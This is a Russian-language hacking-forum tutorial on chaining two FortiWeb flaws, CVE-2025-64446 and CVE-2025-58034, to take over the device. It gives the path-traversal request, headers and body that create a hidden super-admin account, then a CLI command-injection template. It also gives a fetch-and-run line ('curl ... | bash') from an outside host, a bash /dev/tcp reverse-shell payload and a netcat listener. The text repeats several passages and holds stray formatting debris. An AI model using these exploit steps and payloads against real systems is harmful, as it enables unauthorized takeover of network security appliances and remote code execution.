Не удалось прогрузить медиа
Приветствую всех! Fortinet, как всегда, радует что ни день - то праздник. И сегодня рассказ о двух уязвимостях в Fortinet FortiWeb: это же CVE-2025-58034 и CVE-2025-64446. Да, целых две уязвимости, которые работают вместе. Немного информации о вулнах
CVE-2025-58034 - это уязвимость в веб-файрволе Fortinet FortiWeb, которая позволяет аутентифицированным злоумышленникам выполнять произвольные команды операционной системы через специально сформированные HTTP-запросы или команды CLI.
Как эксплуатировать CVE-2025-64446 + CVE-2025-58034
Предварительные требования
Предварительные требования
Целевая система FortiWeb с уязвимыми версиями (7.0.0 - 8.0.1)
Сетевой доступ к веб-интерфейсу FortiWeb
Python3 с установленными зависимостями
Шаг 1: Подготовка: склонируйте репозиторий с эксплойтом:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
pip install -r requirements.txt
Шаг 2: Создание административного аккаунта вручную и с помощью скрипта (CVE-2025-64446)
Что происходит:
Скрипт использует path traversal для обхода проверки аутентификации и создает нового администратора с указанными учетными данными
Как работает Path Traversal+создание запроса вручную с помощью burpsuite
Нормальный путь к API в Fortiweb выглядит так: /api/v2.0/cmdb/system/admin обрабатывается модулем rest api
А вот что делает эксплойт: /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
Разбор запроса: admin%3f это закодированный символ "?"
admin? в CGI FortiWeb это означает - всё что после ? это уже не путь, а query string
../../../../../ directory traversal
cgi-bin/fwbcgi бинарный CGI-скрипт который лежит в корне файловой системы
Нужно обязательно сформировать 2 специальных заголовков
1. CGIINFO в котором base64-кодируется JSON данные:
Что происходит:
Скрипт использует path traversal для обхода проверки аутентификации и создает нового администратора с указанными учетными данными
Как работает Path Traversal+создание запроса вручную с помощью burpsuite
Нормальный путь к API в Fortiweb выглядит так: /api/v2.0/cmdb/system/admin обрабатывается модулем rest api
Не удалось прогрузить медиа
А вот что делает эксплойт: /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi
Не удалось прогрузить медиа
Разбор запроса: admin%3f это закодированный символ "?"
admin? в CGI FortiWeb это означает - всё что после ? это уже не путь, а query string
../../../../../ directory traversal
cgi-bin/fwbcgi бинарный CGI-скрипт который лежит в корне файловой системы
Нужно обязательно сформировать 2 специальных заголовков
1. CGIINFO в котором base64-кодируется JSON данные:
Code:
"username": "admin",[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER] "profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
Готовый base64: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
2. Заголовок: Content-Type: application/x-www-form-urlencoded - именно его ожидает уязвимый CGI скрипт /cgi-bin/fwbcgi на FortiWeb
Не удалось прогрузить медиа
Теперь же нужно передать запрос тела в котором будут передаваться все параметры
Спойлер: Данные тела
{
"data": {
"q_type": 1,
"name": username,
"access-profile": "prof_admin",
"access-profile_val": "0",
"trusthostv4": "0.0.0.0/0",
"trusthostv6": "::/0",
"last-name": "",
"first-name": "",
"email-address": "",
"phone-number": "",
"mobile-number": "",
"hidden": 0,
"comments": "",
"sz_dashboard": -1,
"type": "local-user",
"type_val": "0",
"admin-usergrp_val": "0",
"wildcard_val": "0",
"accprofile-override_val": "0",
"sshkey": "",
"passwd-set-time": 0,
"history-password-pos": 0,
"history-password0": "",
"history-password1": "",
"history-password2": "",
"history-password3": "",
"history-password4": "",
"history-password5": "",
"history-password6": "",
"history-password7": "",
"history-password8": "",
"history-password9": "",
"force-password-change": "disable",
"force-password-change_val": "0",
"password": password
}
}Пояснение некоторых параметров что/за что отвечают:
q_type - Тип операции: 1 = создать нового администратора, 2 = редактировать, 3 = удалить и т.д.
name - логин от админского аккаунта
password - пароль от админского аккаунта
access-profile - имя профиля доступа "prof_admin" встроенный Super Admin со всеми правами
Итоговый запрос в burpsuite:
Не удалось прогрузить медиа
Как мы видим аккаунт администратора успешно создался по указанным нами кредами
Второй способ: С помощью уже готового скрипта (рекомендую)
Достаточно ввести команду: python exploit.py 192.168.1.100 -u hello -p administrator (команду логина и пароля писать необязательно, скрипт сам сгенерирует креды)
Не удалось прогрузить медиа
Шаг 3: Вход в систему
Открываем страницу входа в FortiWeb и заходим с только что созданными кредами:
Username: login
Password: password
Открываем страницу входа в FortiWeb и заходим с только что созданными кредами:
Username: login
Password: password
Не удалось прогрузить медиа
Шаг 4: Доступ к CLI консоли
После входа перейдите в консоль CLI через веб-интерфейс:
Справа сверху будет иконка терминала, нужно кликнуть по ней
После входа перейдите в консоль CLI через веб-интерфейс:
Справа сверху будет иконка терминала, нужно кликнуть по ней
Не удалось прогрузить медиа
Шаг 5: Эксплуатация Command Injection (CVE-2025-58034)
Дальше будет эксплуатировать вулну CVE-2025-58034 с помощью CLI терминала
Команды и дальнейшее пояснение к ним:
Пояснение:
config user saml-user - это специальный тип учётной записи, которая аутентифицируется через внешний SAML IdP (например, Okta, Azure AD, Keycloak и т.д.)
edit "
set entityID http://foo - просто заглушка чтобы команда прошла
set service-path /foo - тоже заглушка
set enforce-signing disable - отключает проверку подписи SAML-ответа и утверждения, нужно чтобы команда сохранилась без ошибок
set slo-bind post - не влияет на эксплуатацию, просто заполняет обязательное поле
set slo-path /foo - заглушка
set sso-bind post - способ передачи SAML SSO-запроса (POST-биндинг самый распространённый)
set sso-path /foo - заглушка
end - завершает конфигурацию и сохраняет изменения
Дальше будет эксплуатировать вулну CVE-2025-58034 с помощью CLI терминала
Команды и дальнейшее пояснение к ним:
Code:
config user saml-user
edit "<YOUR COMMAND>"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
Пояснение:
config user saml-user - это специальный тип учётной записи, которая аутентифицируется через внешний SAML IdP (например, Okta, Azure AD, Keycloak и т.д.)
edit "
<YOUR COMMAND>" - Именно сюда вставляется payload, backticks (`) заставляют shell выполнить то что внутри, как отдельную команду, пример: "curl payload.com/hello.sh | bash" достаточно закинуть нужную загрузку в .sh файлset entityID http://foo - просто заглушка чтобы команда прошла
set service-path /foo - тоже заглушка
set enforce-signing disable - отключает проверку подписи SAML-ответа и утверждения, нужно чтобы команда сохранилась без ошибок
set slo-bind post - не влияет на эксплуатацию, просто заполняет обязательное поле
set slo-path /foo - заглушка
set sso-bind post - способ передачи SAML SSO-запроса (POST-биндинг самый распространённый)
set sso-path /foo - заглушка
end - завершает конфигурацию и сохраняет изменения
Не удалось прогрузить медиа
Шаг 6: Перехват shell
На вашей машине предварительно запустите слушатель: nc -lvnp port
После выполнения payload в консоле форти вы получите revshell на своей машине
На вашей машине предварительно запустите слушатель: nc -lvnp port
После выполнения payload в консоле форти вы получите revshell на своей машине
Не удалось прогрузить медиа
Дополнительно
Вы можете передавать шелл через любой сайт, из бесплатного советую https://requestrepo.com/ - отображает все запросы, можете добавлять новые файлы (в нашем же случае shell)
В качестве payload можете использовать: bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
В CLI форти передается с помощью команды: edit "`curl xxx.requestrepo.com/duty.sh | bash"
Вы можете передавать шелл через любой сайт, из бесплатного советую https://requestrepo.com/ - отображает все запросы, можете добавлять новые файлы (в нашем же случае shell)
В качестве payload можете использовать: bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
В CLI форти передается с помощью команды: edit "`curl xxx.requestrepo.com/duty.sh | bash"
Итог:
Вот так мы с помощью двух уязвимостей получили доступ к фортивебу
Первая уязвимость нам дала создать административный аккаунт чтобы войти в fortiweb
Вторая же уязвимость позволила выполнить payload в cli форти!
Статья специально для https://forum.LIMB.cc/
Вот так мы с помощью двух уязвимостей получили доступ к фортивебу
Первая уязвимость нам дала создать административный аккаунт чтобы войти в fortiweb
Вторая же уязвимость позволила выполнить payload в cli форти!
Статья специально для https://forum.LIMB.cc/
👍4
😁1
🤔1
LIMB